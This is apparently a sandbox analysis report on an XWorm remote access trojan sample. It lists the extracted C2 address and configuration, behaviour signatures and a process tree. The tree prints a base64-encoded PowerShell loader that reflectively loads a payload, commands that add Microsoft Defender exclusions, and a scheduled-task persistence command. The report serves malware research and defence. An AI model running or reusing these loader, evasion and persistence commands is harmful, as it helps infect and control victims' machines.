Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/03/2024, 01:14

General

  • Target
    c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe
  • Size 222KB
  • Sample240329-blyyfseb94
  • SHA256 c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 217.63.234.90:46789

Mutex
  • 3bJtiYOLPFLaAVmg

Attributes
  • Install_directory

    %Temp%

  • install_file

    InstallerV3.0.5.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe
    "C:\Users\Admin\AppData\Local\Temp\c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJSZWdpc3RyeS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Registry.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1936
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Registry.ps1"
          4⤵
          • Drops startup file
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
              PID:2924
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Checks computer location settings
              • Adds Run key to start application
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2756
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3284
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4444
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Registry'
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4892
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Registry'
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1808
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Registry" /tr "C:\Users\Admin\AppData\Local\Temp\Registry"
                6⤵
                • Creates scheduled task(s)
                PID:3996
    • C:\Users\Admin\AppData\Local\Temp\Registry
      C:\Users\Admin\AppData\Local\Temp\Registry
      1⤵
      • Executes dropped EXE
      PID:2976
    • C:\Users\Admin\AppData\Local\Temp\Registry
      C:\Users\Admin\AppData\Local\Temp\Registry
      1⤵
      • Executes dropped EXE
      PID:4480

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          Registry.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Registry.log
          • Size 42B
          • SHA256 d8988d672d6915b46946b28c06ad8066c50041f6152a91d37ffa5cf129cc146b
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 ef5cf1039f00b2bafe0e6c16248bba28bcd887e42db91e354f6645c903cecd3a
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 9738194030e831ef13c80443eba49c9434e42111ca36b0fbe0d1b4b9edcdd93d
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 d4eb6674b4c5b0b4a09e4e4ce86c01b416dddf26048720ac9a63290dbc3b7608
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 e3595e8e1ad85a32e6ee3759fb3257060db4e939313278befd98be2460e373ef
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 fbfd15e278dc8d75bec1396449b052ecc6b5da56b7b9aa01f82e020e24b5cff7
          • MD5 SHA1 SHA512 SSDEEP

          Registry

          • Path C:\Users\Admin\AppData\Local\Temp\Registry
          • Size 63KB
          • SHA256 c066aee7aa3aa83f763ebc5541daa266ed6c648fbffcde0d836a13b221bb2adc
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_35lofpax.3fe.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35lofpax.3fe.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Registry.ps1

          • Path C:\Users\Admin\Registry.ps1
          • Size 1KB
          • SHA256 48ebbb2d9e6cd89be5db2e02c90d7eaec2f15660eca674bea277f07c1b6ee5b9
          • MD5 SHA1 SHA512

          start.vbs

          • Path C:\Users\Admin\start.vbs
          • Size 231B
          • SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
          • MD5 SHA1 SHA512

          temp.bat

          • Path C:\Users\Admin\temp.bat
          • Size 139KB
          • SHA256 c55e5b6cf9f597ab11b432d5a00b43747e4f8705133a721829e68c9397fb7335
          • MD5 SHA1 SHA512 SSDEEP

          memory/224-34-0x0000000004830000-0x0000000004840000-memory.dmp

          memory/224-48-0x0000000006F20000-0x0000000006FB6000-memory.dmp

          memory/224-60-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/224-55-0x0000000077861000-0x0000000077981000-memory.dmp

          memory/224-54-0x0000000005AE0000-0x0000000005AEA000-memory.dmp

          memory/224-52-0x0000000005A80000-0x0000000005AC2000-memory.dmp

          memory/224-33-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/224-35-0x0000000004830000-0x0000000004840000-memory.dmp

          memory/224-50-0x0000000007570000-0x0000000007B14000-memory.dmp

          memory/224-45-0x0000000005700000-0x0000000005A54000-memory.dmp

          memory/224-49-0x0000000006290000-0x00000000062B2000-memory.dmp

          memory/1936-23-0x0000000006390000-0x00000000066E4000-memory.dmp

          memory/1936-9-0x00000000033C0000-0x00000000033D0000-memory.dmp

          memory/1936-13-0x0000000006230000-0x0000000006296000-memory.dmp

          memory/1936-25-0x0000000006BC0000-0x0000000006C0C000-memory.dmp

          memory/1936-24-0x00000000067A0000-0x00000000067BE000-memory.dmp

          memory/1936-31-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/1936-27-0x0000000006CE0000-0x0000000006CFA000-memory.dmp

          memory/1936-7-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/1936-6-0x00000000033D0000-0x0000000003406000-memory.dmp

          memory/1936-8-0x00000000033C0000-0x00000000033D0000-memory.dmp

          memory/1936-26-0x00000000080E0000-0x000000000875A000-memory.dmp

          memory/1936-11-0x0000000006120000-0x0000000006142000-memory.dmp

          memory/1936-10-0x0000000005A80000-0x00000000060A8000-memory.dmp

          memory/1936-12-0x00000000061C0000-0x0000000006226000-memory.dmp

          memory/2756-59-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/2756-58-0x0000000005020000-0x00000000050BC000-memory.dmp

          memory/2756-144-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/2756-56-0x0000000000400000-0x0000000000412000-memory.dmp

          memory/3284-73-0x0000000005950000-0x0000000005CA4000-memory.dmp

          memory/3284-77-0x0000000006FF0000-0x0000000007022000-memory.dmp

          memory/3284-89-0x0000000002740000-0x0000000002750000-memory.dmp

          memory/3284-88-0x0000000007030000-0x000000000704E000-memory.dmp

          memory/3284-90-0x0000000007050000-0x00000000070F3000-memory.dmp

          memory/3284-91-0x0000000002740000-0x0000000002750000-memory.dmp

          memory/3284-92-0x00000000071E0000-0x00000000071EA000-memory.dmp

          memory/3284-93-0x0000000007370000-0x0000000007381000-memory.dmp

          memory/3284-94-0x00000000073B0000-0x00000000073BE000-memory.dmp

          memory/3284-95-0x00000000073C0000-0x00000000073D4000-memory.dmp

          memory/3284-96-0x00000000074B0000-0x00000000074CA000-memory.dmp

          memory/3284-97-0x00000000073F0000-0x00000000073F8000-memory.dmp

          memory/3284-99-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/3284-61-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/3284-62-0x0000000002740000-0x0000000002750000-memory.dmp

          memory/3284-63-0x0000000002740000-0x0000000002750000-memory.dmp

          memory/3284-75-0x0000000006180000-0x00000000061CC000-memory.dmp

          memory/3284-78-0x00000000709D0000-0x0000000070A1C000-memory.dmp

          memory/3284-76-0x000000007EFA0000-0x000000007EFB0000-memory.dmp

          memory/4444-114-0x00000000066A0000-0x00000000066EC000-memory.dmp

          memory/4444-103-0x0000000005EE0000-0x0000000006234000-memory.dmp

          memory/4444-126-0x00000000076C0000-0x0000000007763000-memory.dmp

          memory/4444-127-0x0000000005070000-0x0000000005080000-memory.dmp

          memory/4444-128-0x0000000007980000-0x0000000007991000-memory.dmp

          memory/4444-129-0x00000000079D0000-0x00000000079E4000-memory.dmp

          memory/4444-131-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/4444-100-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/4444-115-0x000000007FBA0000-0x000000007FBB0000-memory.dmp

          memory/4444-102-0x0000000005070000-0x0000000005080000-memory.dmp

          memory/4444-116-0x0000000070C40000-0x0000000070C8C000-memory.dmp

          memory/4444-101-0x0000000005070000-0x0000000005080000-memory.dmp

          memory/4892-155-0x0000000004E20000-0x0000000004E30000-memory.dmp

          memory/4892-157-0x0000000074E00000-0x00000000755B0000-memory.dmp

          memory/4892-154-0x000000007FCE0000-0x000000007FCF0000-memory.dmp

          memory/4892-143-0x0000000070C40000-0x0000000070C8C000-memory.dmp

          memory/4892-132-0x0000000074E00000-0x00000000755B0000-memory.dmp